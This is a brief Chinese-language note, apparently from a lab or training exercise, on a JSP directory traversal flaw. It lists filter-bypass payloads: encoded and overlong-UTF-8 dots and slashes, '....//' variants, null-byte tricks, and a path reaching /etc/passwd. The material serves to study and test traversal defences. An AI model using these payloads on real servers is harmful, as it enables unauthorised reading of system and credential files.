205 jsp 目录穿越漏洞

![](/media/202203/2022-03-12_202101_437563.png)

代码中过滤了 `..` 已经  `\` 那么可以使用 `.\./.\.shell.jsp` 绕过

而且代码没有递归检测，而且只过滤了反斜杠，可以使用 `/` 代替反斜杠，还可以构造 `.../` 过滤 `..` 后变为 `../`

### 常规绕过思路

#### 01 URL 编码

```
dot                  %2e
forward slash        %2f
backslash            %5c

16-Bit Unicode-encoding:
dot                  %u002e
forward slash        %u2215
backslash            %u2216

Double URL-encoding:
dot                  %252e
forward slash        %252f
backslash            %255c

Overlong UTF-8 Unicode-encoding:
dot                  %c0%2e   %e0%40%ae   %c0ae    etc.
forward slash        %c0%af   %e0%80%af   %c0%2f   etc.
backslash            %c0%5c   %c0%80%5c   etc.
```

![](/media/202203/2022-03-19_220244_555506.png)

#### 02 绕过单次过滤

```
....//
....\/
..../\
....\\
```

![](/media/202203/2022-03-19_220233_862844.png)

#### 03 使用空白符

比如空格、%00 等

![](/media/202203/2022-03-19_220224_683753.png)

#### 04 包含根目录

比如

```
/var/www/images/../../../etc/passwd
```

![](/media/202203/2022-03-19_220149_342618.png)